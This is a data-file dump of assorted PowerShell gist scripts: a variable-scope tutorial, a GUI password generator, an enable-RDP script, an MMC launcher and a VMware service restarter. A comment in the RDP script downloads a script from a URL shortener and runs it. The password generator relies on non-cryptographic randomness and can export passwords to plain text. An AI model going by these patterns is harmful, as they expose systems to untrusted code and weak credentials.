full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/GithubGist/fsugiyama_1353200_raw_aefa4add751ab92b16d26ff68d7531915f4c611f_Test-VariableScope.ps1
fsugiyama_1353200_raw_aefa4add751ab92b16d26ff68d7531915f4c611f_Test-VariableScope.ps1
<# .SYNOPSIS 「関連するリンク」先にある「PowerShellのスコープの謎」に迫ってみる。 .DESCRIPTION 「関連するリンク」先にある「PowerShellのスコープの謎」に迫ってみる。 関数内で変数にScriptスコープを指定した場合、指定しなかった場合の影響を確認する。 Windows PowerShellの変数のスコープに関する規則 (1)「参照規則」 変数はそれが作られたスコープ、およびその子孫スコープでのみ参照できる(Privateスコープを除く)。 スコープを指定せずに変数を参照した場合、 変数が見つかるまでカレントスコープから親スコープをたどっていく。 (2)「変更規則」 明示的にスコープを指定した場合を除き、 変数は作成されたスコープ内でのみ変更できる。 .EXAMPLE Test-VariableScope 「PowerShellのスコープの謎」に迫る?! .NOTES Author: fsugiyama .Link PowerShellのスコープの謎 | スラッシュドット・ジャパン Journal http://slashdot.jp/journal/541889/PowerShell%E3%81%AE%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%97%E3%81%AE%E8%AC%8E #> # Scriptスコープな変数 $str = 'script' $array = , 'script' $list = New-Object System.Collections.ArrayList; [void] $list.Add('script') $map = @{ Script = 'script'; Key = 'script' } $obj = New-Object PSObject -Property @{ Value = 'script' } # # 明示的にスコープを指定せずに変数を参照、変更する # function func1 { # スコープが明示的に指定されていないので、 # 「変更規則」によりScriptスコープ変数は変更されない。 # ローカルスコープ(関数内)に$str変数を作成し、値を設定。 $str = 'func1' # $str ===> "func1" # $SCRIPT:str ===> "script" # $array = $array + 'func1' と等価 # (1)右辺の$array参照時、ローカルスコープ(関数内)には存在しないので、 # その親スコープ(Scriptスコープ)の$arrayが参照される(参照規則)。 # (2)その配列に要素として'func1'を追加した配列オブジェクトが「新たに」作成される。 # (3)新しく作成された配列を$array変数に設定するのだが、 # 「変更規則」によりScriptスコープ変数が変更されることはない。 # (4)ローカルスコープ(関数内)に$array変数が作られ、新規配列が値として設定される。 $array += 'func1' # $array ===> "script", "func1" # $SCRIPT:array ===> "script" # (1)関数内に$list変数は存在しないので、Scriptスコープな$listが参照される(参照規則)。 # (2)$listのAddメソッドが呼ばれ、ArrayListに要素が追加される。 # (3)このメソッド呼び出しによって、$list(Script-scoped)の参照先であるArrayListオブジェクト # の状態は変更されるが、「変更規則」に反しているわけではない。 # すなわち、Scriptスコープな$list変数の値を変更しているわけではない。 [void] $list.Add('func1') # (1)Scriptスコープな$map変数が参照される(参照規則)。 # (2)$map変数の参照先であるHashtableオブジェクトの状態が変更されるが、 # 「変更規則」に反しているわけではない。 # すなわち、Scriptスコープな$map変数の値を変更しているわけではない。 $map.Key = 'func1' $map.Func1 = 'func1' # カスタムオブジェクトもHashtable同様 $obj.Value = 'func1' } # # SCRIPTスコープを指定して変数を参照、変更する # function func2 { # 関数内からScriptスコープ変数を変更するには明示的にスコープを指定する必要がある(変更規則) $SCRIPT:str = 'func2' $SCRIPT:array += 'func2' # 下記ケースでは、スコープを明示的に指定しなくてもScriptスコープな変数が参照され(参照規則)、 # しかもScriptスコープな変数を変更するわけではないので、スコープの指定は必須ではない。 [void] $SCRIPT:list.Add('func2') $SCRIPT:map.Key = 'func2' $SCRIPT:map.Func2 = 'func2' $SCRIPT:obj.Value = 'func2' } # # func2の不要なスコープ指定を省いてみる # function func3 { $SCRIPT:str = 'func3' $SCRIPT:array += 'func3' [void] $list.Add('func3') $map.Key = 'func3' $map.Func3 = 'func3' $obj.Value = 'func3' } function Write-ScriptScopedVariables { param( $title ) Write-Host "`n******* $title *******" Write-Host '*** $str ***' Write-Host $str Write-Host '*** $array ***' Write-Host $array Write-Host '*** $list ***' Write-Host $list Write-Host '*** $map ***' $map.Keys | foreach { Write-Host ("{0}={1}" -f $_, $map[$_]) } Write-Host '*** $obj ***' Write-Host $obj } Write-ScriptScopedVariables init func1 Write-ScriptScopedVariables func1 func2 Write-ScriptScopedVariables func2 func3 Write-ScriptScopedVariables func3
PowerShellCorpus/GithubGist/theagreeablecow_3cdbe888df2586b7109d_raw_e7cd1646f4488183bfdd025b7a8b5660cd279787_Get-PasswordGenerator.ps1
theagreeablecow_3cdbe888df2586b7109d_raw_e7cd1646f4488183bfdd025b7a8b5660cd279787_Get-PasswordGenerator.ps1
<# .NAME Get-PasswordGenerator.ps1 .DESCRIPTION Creates random passwords of varying complexity from ASCII table of characters or phrases from random words selected from on posts on Reddit Ref: http://www.asciitable.com/ & http://www.reddit.com .OPTIONS - Copies password to clipboard - Masks (hides) the password on the form - Exports generated passwords to a text file NB. This feature useful for bulk transfer of passwords to another application. !! Please do NOT keep saved passwords in a text file for any period of time !! .USAGE - Run script via powershell .\Get-PasswordGenerator.ps1 - Run scripot via deskktop shortcut %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -noexit ".'"c:\scripts\Get-PasswordGenerator.ps1'" - Requires Powwershell v3 .AUTHOR The Agreeable Cow August 2014 theagreeablecow.com .VERSIONS 1.0 TAC August 2014 Original Build 1.1 TAC August 2014 Phrases - Added web proxy settings option 1.2 TAC August 2014 Phrases - Updated page redirect settings to cater for r/random.json delays 1.3 TAC August 2014 Phrases - Added filters for small words, duplicates and common words #> #------------------------ # FUNCTIONS # #------------------------ # Close Powershell Window Function Close-Powershell{ Get-Process | Where-Object {$_.processname -eq "powershell"} | stop-process } #Set proxy server settings (if required) Function SetWebProxy(){ if(Test-Connection proxy1.mydomain.com -Count 1 -Quiet){ $global:PSDefaultParameterValues = @{ 'Invoke-RestMethod:Proxy'='http://proxy1.mydomain.com:8080' 'Invoke-WebRequest:Proxy'='http://proxy1.mydomain.com:8080' '*:ProxyUseDefaultCredentials'=$true } } } #Show a message box function Show-MessageBox{ Param([Parameter(Position=1,Mandatory=$true)][string]$Message, [string]$Title="", [ValidateSet('Ok','OkCancel','AbortRetryIgnore','YesNoCancel','YesNo','RetryCancel')][string]$Type='Ok', [ValidateSet('None','Stop','Question','Warning','Information')][string]$Icon='None') Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.MessageBox]::Show($Message, $Title, $Type, $Icon) } #Generate Password or Phrase Function GeneratePassword{ [string] $Password = "" $txtResults.Text = "<Generating Phrase...>" #Generate Passwords If ($rdChar.checked -eq $True){ #Define default variables [bool] $IncludeLower = $False [bool] $IncludeUpper = $False [bool] $IncludeNumbers = $False [bool] $IncludeSpecial = $False #Update complexity based on form $Length = $numericUpDown1.Value If ($cbLower.checked -eq $True){$IncludeLower = $True} If ($cbUpper.checked -eq $True){$IncludeUpper = $True} If ($cbNumbers.checked -eq $True){$IncludeNumbers = $True} If ($cbSpecial.checked -eq $True){$IncludeSpecial = $True} #Load ASCII Characters $Lowercase = [char[]](97..122) $Upercase = [char[]](65..90) $Numbers = [char[]](48..57) $Special = [char[]](33..47) + [char[]](58..64) + [char[]](91..96) + [char[]](123..126) #Build Password Set if ($IncludeLower -eq $True){$PasswordSet += $Lowercase} if ($IncludeUpper -eq $True){$PasswordSet += $Upercase} if ($IncludeNumbers -eq $True){$PasswordSet += $Numbers} if ($IncludeSpecial -eq $True){$PasswordSet += $Special} #Generate Random Password $randomObj = New-Object System.Random 1..$Length | ForEach {$Password += ($PasswordSet | Get-Random)} } #Generate Phrases elseif($rdWord.checked -eq $True){ #Define default variables $Words =@() $UncommonWords =@() $Length = $numericUpDown2.Value $Subreddit = $txtSource.Text $ScriptPath = Split-Path -parent $PSCommandPath #Launch web request to collect 25x Post Titles from Reddit try{ SetWebProxy # <-- Run this function to connect via a proxy server $URI = "http://www.reddit.com/$Subreddit" #If Subreddit is 'Random', select the redirected .json page If ($URI -eq "http://www.reddit.com/r/random"){ $Request = Invoke-WebRequest -Uri $uri -MaximumRedirection 0 -ErrorAction Ignore if($Request.StatusDescription -eq 'found'){ $URI = $Request.Headers.Location } $URI = $URI.Substring(0,$URI.Length-1) $Redirect = $URI+".json" write-host "Word source: $URI" $URI = Invoke-WebRequest -Uri $Redirect } #Otherwise, just select the original .json page Else{ $Original = $URI+".json" write-host "Word source: $URI" $URI = Invoke-WebRequest -Uri $Original } $obj = ConvertFrom-Json ($URI.Content) $Data = $obj.Data.Children.Data | Select Title } Catch{ $txtResults.Text = "Failed connection or unknown URL. Please try again" break; } #Break down titles into words $Titles = $Data.title $Words = $Titles.split(' ') #Filter out common redit text, special characters and numbers $RedditText = @("r/","u/") $Punctuation = @('"',"~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","]","{","}","\","|",";",":","'",",","<",".",">","/","?") $Numbers = @("0","1","2","3","4","5","6","7","8","9") $Characters = $RedditText + $Punctuation + $Numbers foreach ($character in $Characters){ $Words = $Words.Replace($character,"") } #Filter out small words and duplicates $Words = $Words | where-object {$_.length -ge 4} $Words = $Words | select -uniq #Filter out common words $ExcludedWordFile = "$ScriptPath\ExcludedCommonWords.txt" IF ((TEST-PATH $ExcludedWordFile)) { $ExcludedWords = Get-Content $ExcludedWordFile ForEach ($Word in $Words){ if ($ExcludedWords -notContains $Word){ $UncommonWords += $Word } } #Check for a decent sized Word pool and create Phrase out of uncommon words only $Count = $UncommonWords.count if ($Count -lt 50){ write-warning "The generated word list was not very large ($Count), which may result in limited word selection. Suggest you try another Subreddit." } 1..$Length | ForEach {$Password += ($UncommonWords | Get-Random)} } Else{ #Warn about ExcludedWordList file missing, check for a decent sized Word pool and create Phrase out of all available words write-warning "The generated phrase may contain very common words. Please add the 'Excluded Common Words' file $ExcludedWordFile and try again." $Count = $Words.count if ($Count -lt 50){ write-warning "The generated word list was not very large ($Count), which may result in limited word selection. Suggest you try another Subreddit." } 1..$Length | ForEach {$Password += ($Words | Get-Random)} } #Remove all remaining non a-z or A-Z characters and test length of final phrase $Password = [System.Text.RegularExpressions.Regex]::Replace($Password,"[^a-zA-Z]",""); if ($Password.length -lt 16){ write-warning "Phrase is not very long. Suggest you try again." } } #Copy to Clipboard If ($cbClipboard.checked -eq $True){ $Password | CLIP } #Update Text display on form If ($cbMask.checked -eq $True){ 1..$Length | ForEach {$Stars += "*"} $txtResults.Text = $Stars } else{ $txtResults.Text = $Password } #Export to text file If ($cbFile.checked -eq $True){ If ($cbFile.Text -eq "Export to File"){ if($savefiledialog1.ShowDialog() -eq 'OK'){ $Password | Out-File $savefiledialog1.FileName } } Else{ $Password | Out-File $savefiledialog1.FileName -append } $cbFile.Text = "Appending..." } } #------------------------ # FORM # #------------------------ function GenerateForm { #region Import the Assemblies [reflection.assembly]::loadwithpartialname("System.Drawing") | Out-Null [reflection.assembly]::loadwithpartialname("System.Windows.Forms") | Out-Null #region Generated Form Objects $form1 = New-Object System.Windows.Forms.Form $label1 = New-Object System.Windows.Forms.Label $groupBox2 = New-Object System.Windows.Forms.GroupBox $cbFile = New-Object System.Windows.Forms.CheckBox $cbMask = New-Object System.Windows.Forms.CheckBox $cbClipboard = New-Object System.Windows.Forms.CheckBox $groupBox1 = New-Object System.Windows.Forms.GroupBox $btnHelp = New-Object System.Windows.Forms.Button $txtSource = New-Object System.Windows.Forms.TextBox $label2 = New-Object System.Windows.Forms.Label $numericUpDown2 = New-Object System.Windows.Forms.NumericUpDown $rdWord = New-Object System.Windows.Forms.RadioButton $rdChar = New-Object System.Windows.Forms.RadioButton $numericUpDown1 = New-Object System.Windows.Forms.NumericUpDown $cbLower = New-Object System.Windows.Forms.CheckBox $cbUpper = New-Object System.Windows.Forms.CheckBox $cbNumbers = New-Object System.Windows.Forms.CheckBox $cbSpecial = New-Object System.Windows.Forms.CheckBox $txtResults = New-Object System.Windows.Forms.TextBox $btnCancel = New-Object System.Windows.Forms.Button $btnGenerate = New-Object System.Windows.Forms.Button $saveFileDialog1 = New-Object System.Windows.Forms.SaveFileDialog $InitialFormWindowState = New-Object System.Windows.Forms.FormWindowState #Event Script Blocks $handler_btnGenerate_Click={ GeneratePassword } $handler_btnCancel_Click={ $form1.close() Close-Powershell } $OnLoadForm_StateCorrection={ $form1.WindowState = $InitialFormWindowState [int] $RunCount = 0 GeneratePassword } $btnHelp_OnClick={ Show-MessageBox 'An effective word array is dynamic and random. These words are randomly sourced in real time, from titles of posts on http://www.reddit.com' -Type OK -Icon Information } #---------------------------------------------- #region Generated Form Code $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 346 $System_Drawing_Size.Width = 605 $form1.ClientSize = $System_Drawing_Size $form1.DataBindings.DefaultDataSourceUpdateMode = 0 $form1.Name = "form1" $form1.StartPosition = 1 $form1.Text = "TAC Password and Phrase Generator" #Logo Label $label1.DataBindings.DefaultDataSourceUpdateMode = 0 $label1.Font = New-Object System.Drawing.Font("Courier New",6.75,1,3,0) $label1.ForeColor = [System.Drawing.Color]::FromArgb(255,0,0,0) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 470 $System_Drawing_Point.Y = 200 $label1.Location = $System_Drawing_Point $label1.Name = "label1" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 80 $System_Drawing_Size.Width = 110 $label1.Size = $System_Drawing_Size $label1.TabIndex = 13 $label1.Text = " (__) (oo) ok /------\/ / / | || * /\---/\ ^^ ^^ v1.3" $form1.Controls.Add($label1) #Options Group Box $groupBox2.DataBindings.DefaultDataSourceUpdateMode = 0 $groupBox2.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",9.75,0,3,1) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 12 $System_Drawing_Point.Y = 207 $groupBox2.Location = $System_Drawing_Point $groupBox2.Name = "groupBox2" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 60 $System_Drawing_Size.Width = 407 $groupBox2.Size = $System_Drawing_Size $groupBox2.TabIndex = 12 $groupBox2.TabStop = $False $groupBox2.Text = "Options" $form1.Controls.Add($groupBox2) # Export to File checkbox $cbFile.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 281 $System_Drawing_Point.Y = 22 $cbFile.Location = $System_Drawing_Point $cbFile.Name = "cbFile" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 104 $cbFile.Size = $System_Drawing_Size $cbFile.TabIndex = 2 $cbFile.Text = "Export to File" $cbFile.UseVisualStyleBackColor = $True $groupBox2.Controls.Add($cbFile) # Mask checkbox $cbMask.DataBindings.DefaultDataSourceUpdateMode = 0 $cbMask.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",9.75,0,3,1) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 199 $System_Drawing_Point.Y = 22 $cbMask.Location = $System_Drawing_Point $cbMask.Name = "cbMask" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 104 $cbMask.Size = $System_Drawing_Size $cbMask.TabIndex = 1 $cbMask.Text = "Mask" $cbMask.UseVisualStyleBackColor = $True $groupBox2.Controls.Add($cbMask) # Copy to clipboard checkbox $cbClipboard.Checked = $True $cbClipboard.CheckState = 1 $cbClipboard.DataBindings.DefaultDataSourceUpdateMode = 0 $cbClipboard.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",9.75,0,3,1) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 40 $System_Drawing_Point.Y = 22 $cbClipboard.Location = $System_Drawing_Point $cbClipboard.Name = "cbClipboard" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 137 $cbClipboard.Size = $System_Drawing_Size $cbClipboard.TabIndex = 0 $cbClipboard.Text = "Copy to Clipboard" $cbClipboard.UseVisualStyleBackColor = $True $groupBox2.Controls.Add($cbClipboard) #Random Group box $groupBox1.DataBindings.DefaultDataSourceUpdateMode = 0 $groupBox1.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",9.75,0,3,1) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 12 $System_Drawing_Point.Y = 55 $groupBox1.Location = $System_Drawing_Point $groupBox1.Name = "groupBox1" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 129 $System_Drawing_Size.Width = 582 $groupBox1.Size = $System_Drawing_Size $groupBox1.TabIndex = 11 $groupBox1.TabStop = $False $groupBox1.Text = "Random" $form1.Controls.Add($groupBox1) # Help button $btnHelp.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 545 $System_Drawing_Point.Y = 83 $btnHelp.Location = $System_Drawing_Point $btnHelp.Name = "btnHelp" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 23 $System_Drawing_Size.Width = 20 $btnHelp.Size = $System_Drawing_Size $btnHelp.TabIndex = 13 $btnHelp.Text = "?" $btnHelp.UseVisualStyleBackColor = $True $btnHelp.add_Click($btnHelp_OnClick) $groupBox1.Controls.Add($btnHelp) #URL source text box $txtSource.BackColor = [System.Drawing.Color]::FromArgb(255,255,255,255) $txtSource.DataBindings.DefaultDataSourceUpdateMode = 0 $txtSource.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",9.75,0,3,0) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 402 $System_Drawing_Point.Y = 83 $txtSource.Location = $System_Drawing_Point $txtSource.Name = "txtSource" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 22 $System_Drawing_Size.Width = 131 $txtSource.Size = $System_Drawing_Size $txtSource.TabIndex = 12 $txtSource.Text = "r/random" $groupBox1.Controls.Add($txtSource) #Words Label $label2.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 215 $System_Drawing_Point.Y = 83 $label2.Location = $System_Drawing_Point $label2.Name = "label2" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 23 $System_Drawing_Size.Width = 192 $label2.Size = $System_Drawing_Size $label2.TabIndex = 11 $label2.Text = "Source: http://www.reddit.com/" $label2.TextAlign = 16 $label2.add_Click($handler_label2_Click) $groupBox1.Controls.Add($label2) #Words numeric up/down $numericUpDown2.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 140 $System_Drawing_Point.Y = 83 $numericUpDown2.Location = $System_Drawing_Point $numericUpDown2.Maximum = 30 $numericUpDown2.Minimum = 3 $numericUpDown2.Name = "numericUpDown2" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 22 $System_Drawing_Size.Width = 47 $numericUpDown2.Size = $System_Drawing_Size $numericUpDown2.TabIndex = 10 $numericUpDown2.TextAlign = 2 $numericUpDown2.Value = 4 $groupBox1.Controls.Add($numericUpDown2) # Words radio button $rdWord.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 20 $System_Drawing_Point.Y = 82 $rdWord.Location = $System_Drawing_Point $rdWord.Name = "rdWord" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 104 $rdWord.Size = $System_Drawing_Size $rdWord.TabIndex = 9 $rdWord.TabStop = $True $rdWord.Text = "Words" $rdWord.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($rdWord) #Characters radio button $rdChar.Checked = $True $rdChar.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 20 $System_Drawing_Point.Y = 30 $rdChar.Location = $System_Drawing_Point $rdChar.Name = "rdChar" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 104 $rdChar.Size = $System_Drawing_Size $rdChar.TabIndex = 8 $rdChar.TabStop = $True $rdChar.Text = "Characters" $rdChar.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($rdChar) #Characters numeric up/down $numericUpDown1.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 140 $System_Drawing_Point.Y = 31 $numericUpDown1.Location = $System_Drawing_Point $numericUpDown1.Maximum = 127 $numericUpDown1.Minimum = 6 $numericUpDown1.Name = "numericUpDown1" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 22 $System_Drawing_Size.Width = 47 $numericUpDown1.Size = $System_Drawing_Size $numericUpDown1.TabIndex = 5 $numericUpDown1.TextAlign = 2 $numericUpDown1.Value = 12 $groupBox1.Controls.Add($numericUpDown1) #Lowercase letters checkbox $cbLower.Checked = $True $cbLower.CheckState = 1 $cbLower.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 235 $System_Drawing_Point.Y = 30 $cbLower.Location = $System_Drawing_Point $cbLower.Name = "cbLower" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 52 $cbLower.Size = $System_Drawing_Size $cbLower.TabIndex = 3 $cbLower.Text = "abc" $cbLower.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($cbLower) #Uppercase letters checkbox $cbUpper.Checked = $True $cbUpper.CheckState = 1 $cbUpper.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 328 $System_Drawing_Point.Y = 30 $cbUpper.Location = $System_Drawing_Point $cbUpper.Name = "cbUpper" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 57 $cbUpper.Size = $System_Drawing_Size $cbUpper.TabIndex = 4 $cbUpper.Text = "ABC" $cbUpper.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($cbUpper) #Numbers checkbox $cbNumbers.Checked = $True $cbNumbers.CheckState = 1 $cbNumbers.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 422 $System_Drawing_Point.Y = 30 $cbNumbers.Location = $System_Drawing_Point $cbNumbers.Name = "cbNumbers" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 52 $cbNumbers.Size = $System_Drawing_Size $cbNumbers.TabIndex = 6 $cbNumbers.Text = "123" $cbNumbers.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($cbNumbers) #Special Characters Checkbox $cbSpecial.Checked = $True $cbSpecial.CheckState = 1 $cbSpecial.DataBindings.DefaultDataSourceUpdateMode = 0 $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 516 $System_Drawing_Point.Y = 30 $cbSpecial.Location = $System_Drawing_Point $cbSpecial.Name = "cbSpecial" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 24 $System_Drawing_Size.Width = 60 $cbSpecial.Size = $System_Drawing_Size $cbSpecial.TabIndex = 7 $cbSpecial.Text = "%$#" $cbSpecial.UseVisualStyleBackColor = $True $groupBox1.Controls.Add($cbSpecial) #Results Text box $txtResults.DataBindings.DefaultDataSourceUpdateMode = 0 $txtResults.Font = New-Object System.Drawing.Font("Courier New",12,0,3,1) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 11 $System_Drawing_Point.Y = 17 $txtResults.Location = $System_Drawing_Point $txtResults.Name = "txtResults" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 26 $System_Drawing_Size.Width = 583 $txtResults.Size = $System_Drawing_Size $txtResults.TabIndex = 2 $txtResults.TextAlign = 2 $txtResults.add_TextChanged($handler_txtResults_TextChanged) $form1.Controls.Add($txtResults) #Close button $btnCancel.DataBindings.DefaultDataSourceUpdateMode = 0 $btnCancel.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12.25,0,3,0) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 358 $System_Drawing_Point.Y = 291 $btnCancel.Location = $System_Drawing_Point $btnCancel.Name = "btnCancel" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 45 $System_Drawing_Size.Width = 110 $btnCancel.Size = $System_Drawing_Size $btnCancel.TabIndex = 1 $btnCancel.Text = "Close" $btnCancel.UseVisualStyleBackColor = $True $btnCancel.add_Click($handler_btnCancel_Click) $form1.Controls.Add($btnCancel) #Generate buton $btnGenerate.DataBindings.DefaultDataSourceUpdateMode = 0 $btnGenerate.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12.25,0,3,0) $System_Drawing_Point = New-Object System.Drawing.Point $System_Drawing_Point.X = 138 $System_Drawing_Point.Y = 291 $btnGenerate.Location = $System_Drawing_Point $btnGenerate.Name = "btnGenerate" $System_Drawing_Size = New-Object System.Drawing.Size $System_Drawing_Size.Height = 45 $System_Drawing_Size.Width = 115 $btnGenerate.Size = $System_Drawing_Size $btnGenerate.TabIndex = 0 $btnGenerate.Text = "Generate" $btnGenerate.UseVisualStyleBackColor = $True $btnGenerate.add_Click($handler_btnGenerate_Click) $form1.Controls.Add($btnGenerate) #Save Export File dialog $saveFileDialog1.CreatePrompt = $True $saveFileDialog1.FileName = "Generated PW List.txt" $saveFileDialog1.InitialDirectory = "c:" $saveFileDialog1.ShowHelp = $True $saveFileDialog1.Title = "Save to File" #Save the initial state of the form $InitialFormWindowState = $form1.WindowState #Init the OnLoad event to correct the initial state of the form $form1.add_Load($OnLoadForm_StateCorrection) #Show the Form $form1.ShowDialog()| Out-Null } #Call the Form GenerateForm
PowerShellCorpus/GithubGist/michaelkc_aa4d9409cb41dcd79ab7_raw_9be69d90b0d464206801c6437108c260efa52574_EnableRemoteDesktop.ps1
michaelkc_aa4d9409cb41dcd79ab7_raw_9be69d90b0d464206801c6437108c260efa52574_EnableRemoteDesktop.ps1
# wget tinyurl.com/enablerdp -outfile .\rdp.ps1 # .\rdp.ps1 set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop" set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
PowerShellCorpus/GithubGist/XPlantefeve_f0671cbad8ffd069dee4_raw_dec024ca54169417294c08d6c02b36cd11709245_Start-ManagementConsole.ps1
XPlantefeve_f0671cbad8ffd069dee4_raw_dec024ca54169417294c08d6c02b36cd11709245_Start-ManagementConsole.ps1
function Start-ManagementConsole { Param( [string]$ComputerName = '.' ) Start-Process -FilePath "${env:windir}\System32\mmc.exe" ` -ArgumentList "compmgmt.msc /computer:\\${ComputerName}" } New-Alias -Name manage -Value "Start-ManagementConsole" -Scope Global
PowerShellCorpus/GithubGist/SamLiu79_8296755_raw_fcb26c16b168e2bf1158400305005f369698c141_restart_vmware_services.ps1
SamLiu79_8296755_raw_fcb26c16b168e2bf1158400305005f369698c141_restart_vmware_services.ps1
#SERVICE_NAME: vspherewebclientsvc #DISPLAY_NAME: VMware vSphere Web Client #SERVICE_NAME: vCOConfiguration #DISPLAY_NAME: VMware vCenter Orchestrator Configuration #SERVICE_NAME: vctomcat #DISPLAY_NAME: VMware VirtualCenter Management Webservices #SERVICE_NAME: vimPBSM #DISPLAY_NAME: VMware vSphere Profile-Driven Storage Service #SERVICE_NAME: vimQueryService #DISPLAY_NAME: VMware vCenter Inventory Service #SERVICE_NAME: vpxd #DISPLAY_NAME: VMware VirtualCenter Server #SERVICE_NAME: vCOConfiguration #DISPLAY_NAME: VMware vCenter Orchestrator Configuration #SERVICE_NAME: vmwarelogbrowser #DISPLAY_NAME: VMware Log Browser #SERVICE_NAME: ssotomcat #DISPLAY_NAME: vCenter Single Sign On $VCSERVER = Read-Host "VCSERVER Address" $remote_cred = Get-Credential -Message 'Login' # stop queue, and when start must be reversal $SERVICES_QUEUE = @('vspherewebclientsvc', 'vctomcat', 'vpxd', 'vimQueryService', 'ssotomcat') #Stop service $SERVICES_QUEUE|ForEach-Object{ $service = Get-WmiObject Win32_Service -ComputerName $VCSERVER -Filter "name=""$_""" -Credential $remote_cred Write-Host 'Stop Service' $service.Caption if ($service.started){ $service.StopService().ReturnValue } while ($TRUE){ Start-Sleep -s 2 $s = Get-WmiObject Win32_Service -ComputerName $VCSERVER -Filter "name=""$_""" -Credential $remote_cred Write-Host $s.State if ($s.State -eq 'Stopped'){ Write-Host 'service' $service.Caption 'Stopped' break } } } #Start service [array]::Reverse($SERVICES_QUEUE) $SERVICES_QUEUE|ForEach-Object{ $service = Get-WmiObject Win32_Service -ComputerName $VCSERVER -Filter "name=""$_""" -Credential $remote_cred Write-Host 'Start Service' $service.Caption if (!$service.started){ $service.StartService().ReturnValue } while ($TRUE){ Start-Sleep -s 2 $s = Get-WmiObject Win32_Service -ComputerName $VCSERVER -Filter "name=""$_""" -Credential $remote_cred Write-Host $s.State if ($s.State -eq 'Running'){ Write-Host 'service' $service.Caption 'Started' break } } }
PowerShellCorpus/GithubGist/noahgift_7189835_raw_d78d4a884e28190d146a5378810755cdcc0dbc00_gistfile1.ps1
noahgift_7189835_raw_d78d4a884e28190d146a5378810755cdcc0dbc00_gistfile1.ps1
if ($lastexitcode -ne 0) { throw $errorMessage }
PowerShellCorpus/GithubGist/AndrewBarfield_2552137_raw_8ba014520ad3b3d8ea5efad4375b3ee7bbd51fd8_gistfile1.ps1
